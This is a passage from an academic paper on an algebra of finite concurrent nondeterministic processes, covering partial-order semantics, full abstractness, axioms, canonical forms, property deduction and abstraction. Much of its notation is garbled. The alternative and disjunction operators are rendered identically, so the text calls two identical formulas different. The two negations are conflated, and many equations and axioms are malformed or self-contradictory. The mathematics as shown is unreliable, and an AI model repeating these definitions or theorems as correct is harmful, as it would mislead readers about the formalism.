subprocess defined by \( B \) occurs, i.e. the set of possible process behaviours defined by \( (A \lor B) \) is the union of the sets of process behaviours defined by \( A \) and \( B \). The operation \( \mathbin{\neg} \) is a modified negation: \( \mathbin{\neg} A \) means that the process \( A \) does not occur, i.e. no action of \( A \) is executed. The operation \( \mathbin{\ddagger} \) is another type of negation: \( \mathbin{\ddagger} A \) means that the process \( A \) does not occur as a result of some mistake, i.e. any action of \( A \) does not occur in a process functioning as a result of some contradictory requirements in a process specification. So, a formula of AFP, in a basis \( \mathcal{A} \cup \mathcal{\overline{A}} \cup \Delta_\alpha \), is a term of the following language: \[ A \ ::= \ a \mid \overline{a} \mid \delta_a \mid (A \parallel A) \mid (A \mathbin{\nabla} A) \mid (A, A) \mid (A \lor A) \mid \mathbin{\neg} A \mid \mathbin{\ddagger} A \] where \( a \in \mathcal{A}, \overline{a} \in \mathcal{\overline{A}} \) and \( \delta_a \in \Delta_\alpha \). 2. Denotational semantics The semantics of AFP₁ formulae will be characterized by the sets of partial orders in the alphabet $\mathcal{A} \cup \mathcal{A} \cup \Delta_d$. A partially ordered set (poset) is a pair $p = (V, <)$ consisting of (i) a vertex set $V$ typically modelling process actions, i.e. $V \subseteq \mathcal{A} \cup \mathcal{A} \cup \Delta_d$. (ii) a partial order relation $<$ over $V$, with $a < b$ typically interpreted as the action $a$ necessarily preceding the action $b$. Let us denote the action subset of $V$ by $V^+ = \{ x \in V | x \in \mathcal{A} \}$ and the non-action subset of $V$ by $V^- = \{ x \in V | x \notin \mathcal{A} \}$. In this paper we will consider the posets which satisfy the following conditions: 1. $a$ and $\bar{a}$ do not occur in a poset $p$ together, i.e. either the action $a$ occurs in $p$ and occurs exactly once or the non-action $\bar{a}$ occurs in $p$ once; 2. if there exists some deadlocked action $\delta_a$ such that $\delta_a \in V$ then $V \subseteq \Delta_d$. 3. the partial order relation $<$ over $V$ is irreflexive; 4. $\forall \bar{a} \in V^- \exists x \in V : (x < \bar{a}) \lor (\bar{a} < x)$, i.e. all non-actions are incomparable by $<$. Now, we will comment on these conditions. As has been noted earlier, each action in a process formula has its own unique name. Three different situations (excluding each other) can arise during a process functioning: 1. either the action $a$ occurs (exactly once) or the action $\bar{a}$ does not occur and we distinguish two different reasons for such a situation arising: 2. the non-action $\bar{a}$ takes place when some action alternative to $a$ occurs, or 3. the deadlocked action $\delta_a$ takes place when the action $a$ cannot occur as a result of some mistake (contradiction) in a process specification. The example of a contradictory specification $(a \parallel b) \parallel (a \nabla b)$ we have considered earlier. In other words, specifications like $(a \parallel \bar{a})$ lead to the situation where the action $a$ is deadlocked (i.e., $\delta_a$ takes place). If we have the requirement $(a ; a)$ in a process specification then the uniqueness of each action name leads to a similar contradiction (i.e. as a result the deadlocked action $\delta_a$ takes place). That is the reason why we demand that partial order relations over $V$ be irreflexive. So, if some semantical contradiction is discovered in a partial order representing one of the possible process behaviours, then we announce this partial order (i.e. corresponding process behaviour) as a contradictory one, denote all of its actions as deadlocked ones and eliminate it from our further consideration. Thus, a poset $p = (V, <)$ is 1. either degenerate: $p = (V, \emptyset)$, where $V \subseteq \Delta_d$, 2. or it consists of two parts: the "positive" part containing actions of $V^+$, and the "negative" one containing non-actions of $V^-$. Moreover, $(< \cap (V^+ \times V^+)) = <$ and $(< \cap (V^- \times V^-)) = \emptyset$. To define the denotational semantics of the basic process operations we will introduce the similar poset operations: ";" (precedence), "\nabla" (alternative), "\parallel" (concurrency), "\neg\neg" (not occur), "\neg\neg" (mistaken not occur). If the poset \( p \) constructed by means of these operations does not satisfy the conditions (1)-(4) mentioned above, we “correct” it using the auxiliary regularization operation \([p]\): \[ [p] = \begin{cases} p & \text{if } p \text{ is a poset satisfying the conditions (1)-(4),} \\ (\Delta_{\mathcal{A}(V)}, \emptyset) & \text{otherwise,} \end{cases} \] where \( \mathcal{A}(V) = \{ a \mid (a \in V) \lor (\bar{a} \in V) \lor (\delta_a \in V) \} \), i.e. if some semantical contradiction arises in the resulting poset \( p \) constructed by means of poset operations, then all the actions of \( p \) are deadlocked and cannot occur. The **precedence** of two posets \( p_1 = (V_1, <_1) \) and \( p_2 = (V_2, <_2) \) is defined as follows: \[ p = (V_1, <_1); (V_2, <_2) = [(V_1 \cup V_2, <_1 \cup <_2 \cup (V_1^+ \times V_2^+))], \] i.e. in the new poset \( p \) every action of \( p_1 \) precedes every action of \( p_2 \) or, if the constructed object does not satisfy the conditions (1)-(4), then \( p \) is the degenerate poset. **Example.** Let \( p_1 = (\{a\}, \emptyset) \) and \( p_2 = (\{b\}, \emptyset) \). Then \( p_3 = (p_1 ; p_2) = (\{a, b\}, <_3) \), where \( a <_3 b \). However, \( p_4 = (p_3 ; p_1) = (\{\delta_a, \delta_b\}, \emptyset) \). The **concurrency** \( || \) of two posets \( p_1 = (V_1, <_1) \) and \( p_2 = (V_2, <_2) \) is defined as follows: \[ p = (V_1, <_1) || (V_2, <_2) = [(V_1 \cup V_2, (<_1 \cup <_2)^*)], \] where \( (<_1 \cup <_2)^* \) is the transitive closure of the relation \( (<_1 \cup <_2) \). **Example.** Let \( p_1 = (\{a, c\}, <_1) \), where \( a <_1 c \) and \( p_2 = (\{b, c\}, <_2) \), where \( b <_2 c \). Then \( p_3 = (p_1 || p_2) = (\{a, b, c\}, <_3) \), where \( a <_3 c, b <_3 c \). Let us consider additionally: \( p_4 = (\{a, c\}, <_4) \), where \( c <_4 a \). Then \( (p_3 || p_4) = (\{\delta_a, \delta_b, \delta_c\}, \emptyset) \). To define the next operation we introduce the following notion of the modified union \( \mathcal{U} \): \[ (\{p_1\} \mathcal{U} \{p_2\}) = \begin{cases} \{p_1\} & \text{if } p_2 \text{ is a degenerate poset,} \\ \{p_2\} & \text{if } p_1 \text{ is a degenerate poset,} \\ \{\{p_1\}, \{p_2\}\} & \text{otherwise.} \end{cases} \] The modified union for posets absorbs the degenerate posets, i.e. the posets all the actions of which are dealocked. In such a way, we eliminate the posets constructed by contradictory specifications. The **alternative** \( \nabla \) of two posets \( p_1 = (V_1, <_1) \) and \( p_2 = (V_2, <_2) \) is defined as follows: \[ p = (V_1, <_1) \nabla (V_2, <_2) = \left[ \left( (V_1 \cup \bar{V}_2, <_1) \right) \mathcal{U} \left( (\bar{V}_1 \cup V_2, <_2) \right) \right], \] where \( \bar{V} = \{ a \mid (a \in V) \lor (\bar{a} \in V) \lor (\delta_a \in V) \} \). It should be noted that \( (p_1 \nabla p_2) \) is not a poset, but a set of two posets describing possible alternative computations (alternative process runs). Example. Let $p_1 = (\{a\}, \emptyset)$ and $p_2 = (\{b\}, \emptyset)$. Then $$(p_1 \lor p_2) = (\{a, b\}, \emptyset) \cup (\{a, b\}, \emptyset).$$ The modified negations are defined as follows. Operation $\neg$: $\neg p = \neg (V, \prec) = (\hat{V}, \emptyset)$, i.e. no action of $p$ occurs because some alternative actions occur. Operation $\hat{\neg}$: $\hat{\neg} p = \hat{\neg} (V, \prec) = (\Delta_{\prec}(V), \emptyset)$, i.e. all the actions of $p$ are deadlocked and cannot happen as a result of some mistake in a process specification. We extend the operations introduced above for sets of partial orders in the natural way. Let $P = \{p_1, \ldots, p_n\}$ and $Q = \{q_1, \ldots, q_k\}$ be sets of partial orders, then $$P \otimes Q = \bigcup_{j=1}^{k} \left( \bigcup_{i=1}^{n} \{p_i \otimes q_j\} \right), \text{ where } \otimes \in \{\bigsqcup, \|, \lor\}.$$ Similarly, $\neg P = \bigcup_{i=1}^{n} (\neg p_i)$ and $\hat{\neg} P = \bigcup_{i=1}^{n} (\hat{\neg} p_i)$. The denotational semantics of the AFP₁ formulae is defined as follows: 1. $D[a] = (\{a\}, \emptyset)$, $D[\bar{a}] = (\{\bar{a}\}, \emptyset)$, $D[a] = (\{a\}, \emptyset)$, 2. $D[A \parallel B] = (D[A] \parallel D[B])$, 3. $D[A; B] = (D[A]; D[B])$, 4. $D[A \lor B] = (D[A] \lor D[B])$, 5. $D[A] = D[A]$, 6. $D[\neg A] = \neg D[A]$, 7. $D[\hat{\neg} A] = \hat{\neg} D[A]$. 3. Full abstractness One of the natural ways of reasoning is to identify two processes if they generate the same sets of possible behaviours. Each behaviour in such a set is a result of some nondeterministic choice among alternative actions during a run of the process. Thus, each process behaviour can be considered as a poset consisting of the process actions. If $p = (V, \prec)$ is a poset and $V \subseteq \mathcal{A} \cup \mathcal{A} \cup \Delta_{\prec}$ then let $p^+ = (V^+, \prec)$ denote its positive, “observable” part over the action subset. Correspondingly, if a process defined by $A$ is characterized by the set of partial orders $D[A] = \{p_1, \ldots, p_n\}$ then let $D^+[A] = \{p_1^+, \ldots, p_n^+\}$ denote its positive part over the action subset. Two processes $A$ and $B$ are observationally equivalent ($A \approx_+ B$) iff $D^+[A] = D^+[B]$. A context $C[\ ]$ is an expression with zero or more “holes” to be filled by an expression. We write $C[A]$ for the result of placing $A$ in each “hole”. Denotational semantics (or model) $D$ is called fully abstract with respect to equivalence relation $\approx_+$ iff $$A, B \in \text{AFP}_1: \quad D^+[A] = D^+[B] \iff \forall C[\ ]: \quad C[A] \approx_+ C[B].$$ Theorem 1. Denotational semantics \( \mathbf{D} \) is fully abstract with respect to \( \approx_+ \). By the definition of \( \approx_+ \), the following two processes \( A = (a \vee b) \) and \( B = (a \lor b) \) are observationally equivalent because \( \mathbf{D}[A] = \mathbf{D}[B] \) and cannot be distinguished by any observation of partially ordered actions. However, if we consider a process defined by the formula \( ((a \lor b) \| a) \) and substitute \( A = (a \lor b) \) for \( B = (a \lor b) \) then we obtain behaviourally different processes: \[ \mathbf{D}[(a \lor b) \| a] - \mathbf{D}[(a \lor b) \| b] \mathbf{D}[a] \\ = \{([(a, b), \emptyset]) \cup \{([a, b, a], \emptyset)\} \] and \[ \mathbf{D}[(a \lor b) \| a] = \mathbf{D}[(a \lor b) \| b] \mathbf{D}[a] = \{(a, \emptyset), (a, b, \emptyset)\}, \] Thus, observationally equivalent processes can become nonequivalent if they are placed into the same process context (or the same process environment), i.e. \( \approx_+ \) is not a congruence. So, if we would like to consider the equivalent processes as modules that can be mutually exchanged in any context without affecting the observable behaviour of the latter, we need both “positive”, “observable” information about the actions which a process can perform (during its possible behaviour) and “negative”, “invisible” information concerning the actions which cannot occur in this process behaviour. From this point of view, the operations \( \vee \) and \( \lor \) (correspondingly, processes \( A = (a \lor b) \) and \( B = (a \lor b) \)) are different. Using the operation \( \vee \) (alternative) provided with some “negative” information, we define a process in which a choice of further possible behaviour depends on its environment, The operation \( \lor \) (disjunction) defines a process with nondeterministic choice (i.e. with choice independent of the environment). The fact that \( \mathbf{D}[(a \lor b)] = \{(a, b), (b, a), \emptyset\} \) and \( \mathbf{D}[(a \lor b) \| a] = \{(a, b), \emptyset\} \) illustrates that a choice among behaviours specified by means of the alternative operation \( \vee \) depends on the environment. On the other hand, we have \( \mathbf{D}[(a \lor b)] = \{(a), (b), \emptyset\} \) and \( \mathbf{D}[(a \lor b) \| a] = \{(a), \emptyset, (a, b), \emptyset\} \). Thus, the disjunction \( \lor \) corresponds to the nondeterministic choice. 4. Axiomatization for AFP The proposed semantics for the processes of AFP immediately suggests a natural equivalence between them. Two processes specified by formula \( A \) and \( B \) are equivalent \( (A \approx_+ B) \) iff \( \mathbf{D}[A] = \mathbf{D}[B] \). Two processes specified by formulae $A$ and $B$ are congruent $(A \equiv_{co} B)$ iff $C[A] \equiv_{c} C[B]$ for any context $C[ ]$. **Proposition.** If $A \equiv_{c} B$ then $A \equiv_{co} B$. This proposition immediately follows from the definition of semantics of the AFP formulae. Now, we will propose the axiom system which corresponds to the congruence relation defined above. The following axioms characterize the properties of the operators introduced. Here $A, B, C$ denote formulae of $\text{AFP}_1$, $a \in \mathcal{A}$, $\overline{a} \in \mathcal{A}$ and $\delta_a \in \Delta_{\mathcal{A}}$. 1. **Associativity.** - (1.1) $A \parallel (B \parallel C) = (A \parallel B) \parallel C$, - (1.2) $A \triangledown (B \triangledown C) = (A \triangledown B) \triangledown C$, - (1.3) $A \lor (B \lor C) = (A \lor B) \lor C$, - (1.4) $A ; (B ; C) = (A ; B) ; C$. 2. **Commutativity.** - (2.1) $A \parallel B = B \parallel A$, - (2.2) $A \triangledown B = B \triangledown A$, - (2.3) $A \lor B = B \lor A$. 3. **Distributivity.** - (3.1) $(A \parallel B) ; C = (A ; C) \parallel (B ; C)$, - (3.2) $A ; (B \parallel C) = (A ; B) \parallel (A ; C)$, - (3.3) $(A \lor B) ; C = (A ; C) \lor (B ; C)$, - (3.4) $A ; (B \lor C) = (A ; B) \lor (A ; C)$, - (3.5) $(A \lor B) \parallel C = (A \parallel C) \lor (B \parallel C)$, - (3.6) $A \triangledown (B \parallel C) = (A \triangledown B) \parallel (A \triangledown C)$. 4. **Axioms for $\lor$ and $\neg$.** - (4.1) $A \lor B = (\neg \neg A \lor \neg B)$. - (4.2) $\neg (A \parallel B) = \neg A \parallel \neg B$, - (4.3) $\neg (A \lor B) = \neg A \lor \neg B$, - (4.4) $\neg (A ; B) = \neg A \parallel \neg B$, - (4.5) $\neg a = \overline{a}$, - (4.6) $\neg \overline{a} = a$, - (4.7) $\neg \delta_a = \overline{a}$. 5. **Structural properties.** - (5.1) $\overline{a} ; A = \overline{a} \parallel A$, - (5.2) $A ; \overline{a} = \overline{a} \parallel A$, - (5.3) $A \parallel (A ; B) = A ; B$, - (5.4) $B \parallel (A ; B) = A ; B$, - (5.5) $A ; B ; C = (A ; B) \parallel (B ; C)$, - (5.6) $(A ; B) \parallel (B ; C) = (A ; B) \parallel (B ; C) \parallel (A ; C)$, - (5.7) $A \parallel A = A$, - (5.8) $A \lor A = A$. (6) Axioms for deadlocked actions and $\hat{a}$. (6.1) $a \parallel \hat{a} = \delta_a$, (6.2) $a ; a = \delta_a$, (6.3) $\delta_a ; A = \delta_a \parallel \hat{a} A$, (6.4) $A ; \delta_a = \delta_a \parallel \hat{a} A$, (6.5) $A \parallel \delta_a = \delta_a \parallel \hat{a} A$, (6.6) $\hat{a} a = \delta_a$, (6.7) $\hat{a} a = \delta_a$, (6.8) $\hat{a} \delta_a = \delta_a$, (6.9) $\hat{a}(A \parallel B) = \hat{a} A \parallel \hat{a} B$, (6.10) $\hat{a}(A ; B) = \hat{a} A \parallel \hat{a} B$, (6.11) $\hat{a}(A \lor B) = \hat{a} A \lor \hat{a} B$, (6.12) $\hat{a}(A \lor B) = \hat{a} A$, if $\mathcal{A}(A) \subseteq \mathcal{A}(B)$ (see Section 5), (6.13) $A \lor \hat{a} B = A$, if $A$ is a normal $\parallel$-conjunct (see Section 5). This set of axioms is sound for $\equiv_{co}$, i.e. $A \equiv_{co} B$ is an instance of an axiom from the set above then $A \equiv_{co} B$. The proof consists of determining the semantics of $A$ and $B$, whatever they are, and comparing them. It can be done directly by the definitions of operators. In order to prove that the axiom set completely characterizes the congruence we have to introduce a canonical form for the AFP$_1$ formulae. 5. Canonical form of AFP$_1$ formulae Let us denote by $\mathcal{A}(A)$ the subset of symbols of $\mathcal{A}$ occurring in a formula $A$. More exactly: $\mathcal{A}(a) = a$, $\mathcal{A}(\hat{a}) = a$, $\mathcal{A}(\delta_a) = a$, $\mathcal{A}(A \otimes B) = \mathcal{A}(A) \cup \mathcal{A}(B)$, where $\otimes \in \{;, \parallel, \lor, \land\}$, $\mathcal{A}(\neg A) = \mathcal{A}(A)$, $\mathcal{A}(\hat{a} A) = \mathcal{A}(A)$. Also let $\tilde{\mathcal{A}}(A) = \{a \mid a \in \mathcal{A}(A)\}$, $\Delta(A) = \{\delta_a \mid a \in \mathcal{A}(A)\}$ and $\tilde{\mathcal{A}}(A) = \mathcal{A}(A) \cup \tilde{\mathcal{A}}(A) \cup \Delta(A)$. A formula over the joined alphabet $\mathcal{A} \cup \tilde{\mathcal{A}}$ which contains only the operators of concurrency "$\parallel$" and precedence ";;" is called a $\parallel$-conjunctive term. A $\parallel$-conjunctive term is called a normal $\parallel$-conjunct, if it has the form $(A_1 \parallel A_2 \parallel \cdots \parallel A_n)$ and the following requirements are valid: (1) every formula $A_i$ ($1 \leq i \leq n$) is an elementary formula $a \in \mathcal{A}$, or $\hat{a} \in \tilde{\mathcal{A}}$; or an elementary precedence $(a ; b)$, where $a, b \in \mathcal{A}$ and $a \neq b$; (2) for any formulae $A_i$ and $A_j$ ($1 \leq i \neq j \leq n$) such that $\mathcal{A}(A_i) \cap \mathcal{A}(A_j) \neq \emptyset$, $A_i$ and $A_j$ have a form of different elementary precedences; (3) for each pair of formulae $A_i = (a ; b)$ and $A_j = (b ; c)$, where $(1 \leq i \neq j \leq n)$, there exists a term $A_k = (a ; c)$ describing the transitive closure of the precedence relation for the actions $a, b, c$. An algebra of concurrent nondeterministic processes 163 A formula $A$ is in the disjunctive normal form (or in the canonical form) iff either $A = (A_1 \lor A_2 \lor \cdots \lor A_n)$, where $A_i$ (1 ≤ $i$ ≤ $n$) are normal $\parallel$-conjuncts and all $A_i$ are pairwise different, or $A = \neg B$ (i.e. all the actions of $A$ are deadlocked). **Examples.** (1) The formula $(a \parallel b) \parallel (b ; c)$ is a $\parallel$-conjunctive term but it is not a normal $\parallel$-conjunct. Let us verify the requirements (1)--(3) in the definition of the normal $\parallel$-conjunct. Condition (1) is trivially valid; condition (2) also holds: $\mathcal{A}(a \parallel b) \cap \mathcal{A}(b ; c) \neq \emptyset$ and the formulae $(a ; b)$ and $(b ; c)$ have a form of different elementary precedences. However, condition (3) is not valid: $(a ; b) \parallel (b ; c)$ does not contain the term $(a ; c)$ describing the transitive closure of the precedence relation for the actions $a$, $b$, $c$. (2) The formula $(a ; b) \parallel (b ; c) \parallel (a ; c)$ is a normal $\parallel$-conjunct. (3) The formula $(a \parallel (a ; b))$ is a $\parallel$-conjunctive term but not a normal $\parallel$-conjunct because condition (2) in the definition of the normal $\parallel$-conjunct is not valid. (4) The formula $(((a \parallel (a ; b ; c)) \lor (d ; e)) \parallel f)$ has the following disjunctive normal form: $$(a ; b) \parallel (b ; c) \parallel (a ; c) \parallel f \parallel \bar{a} \parallel \bar{c}$$ $$\lor (d ; e) \parallel f \parallel \bar{a} \parallel \bar{b} \parallel \bar{c}.$$ It should be noted that each normal $\parallel$-conjunct characterizes one of the possible alternative process realizations and has a special form coinciding with the partial order representation. We shall write $A = B$ to mean that the equation may be proved from the above axioms (1.1)--(6.13) by normal equational reasoning. We will prove that every process can be reduced to an equivalent one which is in the canonical form (by using axioms (1.1)--(6.13)). Two canonical forms $A$ and $B$ are isomorphic iff $A$ could be reduced to $B$ (and vice versa) with the help of the commutativity and associativity axioms for the operators $\parallel$ and $\lor$. For example, the form $(a \parallel b \parallel c) \lor (c \parallel \bar{a} \parallel \bar{b})$ is isomorphic to the following one: $(\bar{a} \parallel \bar{b} \parallel c) \lor (b \parallel a \parallel \bar{c})$. **Theorem 2.** Every formula $A \in \text{AFP}_1$ can be proved to be equal to its unique (up to isomorphism) canonical form. **Theorem 3.** For any process formulae $A$ and $B$ of $\text{AFP}_1$ the following statement is valid: $$A \Rightarrow B \iff A = B.$$ Thus, any valid equation between processes may be proved from the axiom set. 6. Deduction of process properties A formula of $\text{AFP}_1$ specifies both a process and its properties. Two main classes of the process properties can be distinguished: total and partial properties. The former properties are valid for any actual behaviour of the process; the latter are valid for a subset of possible behaviour. The second class of properties emerges because of the inclusion of alternative actions in generalized processes. Intuitively, the total properties correspond to the notion of the validity of a model, the partial properties correspond to the notion of satisfiability. Let us consider the process defined by the formula \( (a \lor b) \lor c \). The subformula \( (a \lor b) \) describes the total property of the process, namely the fact that its actions \( a \) and \( b \) are always alternative. The property specified by the subformula \( a \) (i.e. the fact that the action \( a \) occurs) is partial because there exists the process behaviour (namely, \( \{b, c, \bar{a}\}, \emptyset \)) in which the action \( a \) does not occur, i.e. \( \bar{a} \) appears. Similarly, the property \( (a \parallel c) \) which claims that the actions \( a \) and \( c \) are concurrent is partial and the property described by the formula \( c \) (i.e. that the action \( c \) occurs in the process behaviour) is total. Let us introduce some additional notions and definitions. We denote by \( p \upharpoonright W \) the projection of partial order \( p \) on the alphabet \( W \subseteq V \). It is defined as follows: \[ p \upharpoonright W = (V \cap W, ((V \cap W) \times (V \cap W)) \cap <) \] The projection \( \upharpoonright \) is extended for sets of partial orders in the natural way: \[ \{p_1 \cup \{p_2\}\} \upharpoonright W = \{p_1 \upharpoonright W\} \cap \{p_2 \upharpoonright W\}. \] We will use \( \Delta \) instead of \( \Delta_\omega \) to specify an alphabet of a process all actions of which are deadlocked when the knowledge about \( \mathcal{A} \) is not essential. Similarly, we will use the symbol \( \delta \) to denote a process all the actions of which are deadlocked. A property specified by a formula \( B \) is partial for a process defined by a formula \( A \) (denotation: \( A \vdash_p B \)) iff 1. \( D[A] \neq (\Delta, \emptyset) \), \( D[B] \neq (\Delta, \emptyset) \) and \( D[A] \cup (\mathcal{A}(B)) \supseteq D[B] \), or 2. \( D[A] = (\Delta, \emptyset) \). **Example.** \( (a \lor b) \parallel ((b \lor c) \parallel d) \). This is a definition of partial process properties on the semantical level. However, using an algebraic process specification, we can propose some syntactical rules for the deduction of the partial properties of a process defined by an AFP, formula. In the following inference rules for the deduction of partial properties we suppose that the condition \( \mathcal{A}(A) \cap \mathcal{A}(B) = \emptyset \) is valid for the formulae \( A \) and \( B \): 1. \( A \otimes B \vdash_p A \) and \( A \otimes B \vdash_p B \), where \( \otimes \in \{\parallel, ;, \parallel\} \). 2. \( A \otimes B \vdash_p C \otimes D \), where \( A \vdash_p C \) and \( B \vdash_p D \), \( \otimes \in \{\parallel, ;, \parallel\} \). Inference rules (1), (2) in the case when the formula on their left-hand side has the form of a normal \( \parallel \)-conjunct are valid without additional restrictions. (III) Let \( A \) be in the disjunctive normal form. Then \( A = (A_1 \lor A_2 \lor \cdots \lor A_n) \vdash_p (B_1 \lor B_2 \lor \cdots \lor B_n) \), where \( \forall i, 1 \leq i \leq k \leq n: A_i \vdash_p B_i \). A partial property \( B \) is deduced from \( A \) iff there exists a finite sequence: \[ A \vdash B_1 \vdash B_2 \vdash \cdots \vdash B \] in which for any \( i, 1 \leq i \leq n \), \( A_i \vdash A_{i+1} \) is an application of the inference rules (I)-(III) for partial properties or \( A_i = A_{i+1} \) is an application of an equivalence transformation from the set of axioms (1.1)-(6.13). We have the following completeness theorem. **Theorem 4.** For any process formula \( A \in AFP \), the following statement is valid: \[ A \vdash B \iff A \vdash B. \] Thus, all the valid partial properties for structural processes can be deduced by means of the axiom system and the inference rules introduced above. **Examples.** (1) Let \( A = (a \lor b) \parallel (c \lor d) \) be a process formula. Let us prove that \( (a \parallel c) \) is a partial property for \( A \). The proof consists of the following steps: \[ \frac{(a \lor b) \vdash a, (c \lor d) \vdash c}{(a \lor b) \parallel (c \lor d) \vdash (a \parallel c)} \] (2) Let \( A = (a \lor b) \parallel ((b \lor c) ; d) \) be a process formula. Let us prove that \( (a \parallel d) \) is a partial property for \( A \). Using the axiom system, we reduce the formula \( A \) to its canonical form and then apply the inference rules: \[ \frac{(a \parallel (c ; d)) \parallel (b) \vdash (a \parallel d)}{(a \parallel (c ; d)) \vdash (a \parallel d)} \] A property \( B \) is **total** for a process \( A \) (denotation: \( A \vdash B \)) iff 1. \( D[A] \neq (\Delta, \emptyset), D[B] \neq (\Delta, \emptyset) \) and \( D[A] \cup (B) = D[B] \), or 2. \( D[A] = [\Delta, \emptyset] \). In the following inference rules for the deduction of total properties of processes we suppose that the condition \( A \cap B = \emptyset \) is valid for the formulae \( A \) and \( B \): 1. \( A \otimes B \vdash A \) and \( A \otimes B \vdash B \), where \( \otimes \in \{\parallel, ;, \lor\} \). 2. \( A \otimes B \vdash C \otimes D \), where \( A \vdash C \) and \( B \vdash D \) and \( \otimes \in \{\parallel, ;\} \). Inference rules (I) and (II) in the case where the formula on the their left-hand side have the form of normal \( \parallel \)-conjunct are valid without additional restrictions. (III) Let \( A \) be in a canonical form: \( A = (A_1 \lor A_2 \lor \cdots \lor A_n) \). If \( \forall i: 1 \leq i \leq n: A_i \vdash B_i \), then \( A \vdash (B_1 \lor B_2 \lor \cdots \lor B_n) \). A total property \( B \) is deduced from \( A \) iff there exists a finite sequence \[ A \vdash A_1 \vdash A_2 \vdash \cdots \vdash B \] in which \( A_i \vdash A_{i+1} \) (1 \( \leq i \leq n \)) is an application of inference rules (I)-(III) for total properties for \( A_i = A_{i+1} \) is an application of an equivalence transformation from the set of axioms (1.1)-(6.13). Theorem 5. For any process formula $A \in \text{AFP}$, the following statement is valid: $$A \vdash B \iff A \models B.$$ Thus, all the valid total properties for structural processes can be deduced by means of the axiom system and the inference rules introduced above. Examples. (1) Let $A = (a \lor b) \parallel ((b \lor c); d)$ be a process formula. Let us prove that $d$ is a total property (i.e. that the action $d$ may be performed during all the possible behaviours of process $A$). As has been noted earlier, the formula $A$ is reduced to the following canonical form $$A = (a \parallel (c; d) \parallel \bar{b}) \lor ((b; d) \parallel \bar{a} \parallel \bar{c}) = B \lor C.$$ Using inference rule (III) (for deduction of total properties), we prove that the following statements are valid: $$B = (a \parallel (c; d) \parallel \bar{b}) \vdash (c; d) \vdash d,$$ $$C = ((b; d) \parallel \bar{a} \parallel \bar{c}) \vdash (b; d) \vdash d.$$ Thus, $A = B \lor C \vdash d$. (2) Let $A = (a \lor b) \parallel (a; (c \lor d))$ be a process formula. Let us prove that $B = \bar{b}$ is a total property (i.e. that the action $b$ can never occur during all the possible behaviours of the process $A$). Using the axiom system, we reduce the formula $A$ to its canonical form: $A = ((a; c)) \parallel \bar{b})$. Thus, $A = ((a; c)) \parallel \bar{b}) \vdash B = \bar{b}$. 7. Abstraction The concept of abstraction is important in the design and specification of hierarchical (or modularized) systems with communicating processes. An abstraction mechanism allows us to simplify the construction and verification of large hierarchical systems represented as systems built of smaller subsystems. The abstraction operator $\lambda_I$ which “hides” process actions from a subset $I \in \mathcal{A}$ may be introduced explicitly. Denotational semantics of $\lambda_I$ may be defined as follows: $$\mathcal{D}[^{\lambda_I}(P)] = \lambda_I(\mathcal{D}[P])$$ where the abstraction operator $\lambda_I$ is introduced for posets in the following way: $$\lambda_I(V, <) = \begin{cases} (\delta, \emptyset) & \text{if } V \subseteq \Delta, \\ (V \setminus J, < \cap ((V \setminus J) \times (V \setminus J))) & \text{if all concealed actions are deadlocked then the resulting poset(process) will be a special deadlocked process, otherwise we take a projection of the poset } (V, <) \text{ on the set } V \setminus J. \end{cases}$$ where $J = I \cup \overline{I}$; i.e. if all concealed actions are deadlocked then the resulting poset(process) will be a special deadlocked process, otherwise we take a projection of the poset $(V, <)$ on the set $V \setminus J$. Let us introduce, in addition, an empty process $\epsilon$ and a deadlock process $\delta$: $$\mathcal{D}[\epsilon] = (\emptyset, \emptyset), \quad \mathcal{D}[\delta] = (\{\delta\}, \emptyset).$$ If we add to the syntax and semantics of AFP, the empty process $\varepsilon$, the deadlocked process $\delta$ and the abstraction operator $\lambda$, then the algebra AFP arises. In order to get the complete axiom system for AFP corresponding to the equivalence relation $\approx_\varepsilon$ (see Section 4), we will add to the axiom system introduced in Section 4 the following set of equivalences characterizing the properties of $\lambda$. Axioms for the abstraction operator: \begin{align*} (7.1) & \quad \lambda_1(A \lor B) = \lambda_1(A) \lor \lambda_1(B), \\ (7.2) & \quad \lambda_1(A \parallel B) = \lambda_1(A) \parallel \lambda_1(B), \\ (7.3) & \quad \lambda_1(a;b) = \lambda_1(a) \cdot \lambda_1(b), \\ (7.4) & \quad \lambda_1(a) = a, \text{ if } a \in I, \\ (7.5) & \quad \lambda_1(\bar{a}) = \bar{a}, \text{ if } a \in I, \\ (7.6) & \quad \lambda_1(\delta_a) = \delta_a, \text{ if } a \not\in I, \\ (7.7) & \quad \lambda_1(\varepsilon) = \varepsilon, \text{ if } a \not\in I, \\ (7.8) & \quad \lambda_1(\bar{\varepsilon}) = \bar{\varepsilon}, \text{ if } a \not\in I, \end{align*} where $\lambda_1(\parallel)$ is a normal $\parallel$-conjunct, \begin{align*} (7.9) & \quad \lambda_1(\varepsilon) = \varepsilon, \text{ if } a \in I, \\ (7.10) & \quad \varepsilon ; a = a, \\ (7.11) & \quad \varepsilon ; a = a, \\ (7.12) & \quad a ; \varepsilon = a, \\ (7.13) & \quad a ; \delta = \delta_a, \\ (7.14) & \quad \delta \parallel a = \delta_a, \\ (7.15) & \quad \delta \parallel \delta_a = \delta_a, \\ (7.16) & \quad \delta \parallel \delta_a = \delta_a, \\ (7.17) & \quad \delta ; \delta = \delta. \end{align*} The following two theorems are valid for AFP: **Theorem 6.** Every formula $A \in \text{AFP}$ can be proved to be equal to a unique (up to isomorphism) canonical form (with the help of the axiom system with $\lambda$). **Theorem 7.** For any process formulae $A$ and $B$ of AFP, the following statement is valid: \[ A \approx_\varepsilon B \iff A = ^{^\wedge} B. \] Thus, any valid equation between the AFP processes may be proved with the axiom set with the abstraction operator. 8. Concluding remarks In the previous sections, we have proposed and investigated the algebra of finite processes AFP, intended both for the description of nondeterministic concurrent processes and for the derivation of their behavioural properties. The semantics of a process described by a formula of AFP was defined as a set of partial orders. Each partially ordered set represents a “pure” concurrent subprocess (one of the possible process behaviours): each action either occurs in it exactly once or does not occur (because one of its alternative actions occurs). If some semantical contradiction is revealed in the AFP formula (more precisely, it is discovered during some possible process behaviour), then we announce this process behaviour to be contradictory, denote it by $\delta$ and eliminate it from further consideration. Thus, a process specified by an AFP formula is either $\delta$ (a deadlocked process) or it consists of completely “successful” executions. An algebra of concurrent nondeterministic processes However, another algebra $\text{AFP}_2$ which is different from $\text{AFP}_1$ by the semantics of the basic operations with respect to contradictory (deadlocked) behaviours may be considered [3]. As has been mentioned, if some semantical contradiction is revealed in the $\text{AFP}_1$ formula $A$ during some process functioning, then this concrete process behaviour, as a whole, is announced to be contradictory and impossible, and it is eliminated from the semantics of $A$. If we consider the same process specification $A$ as an 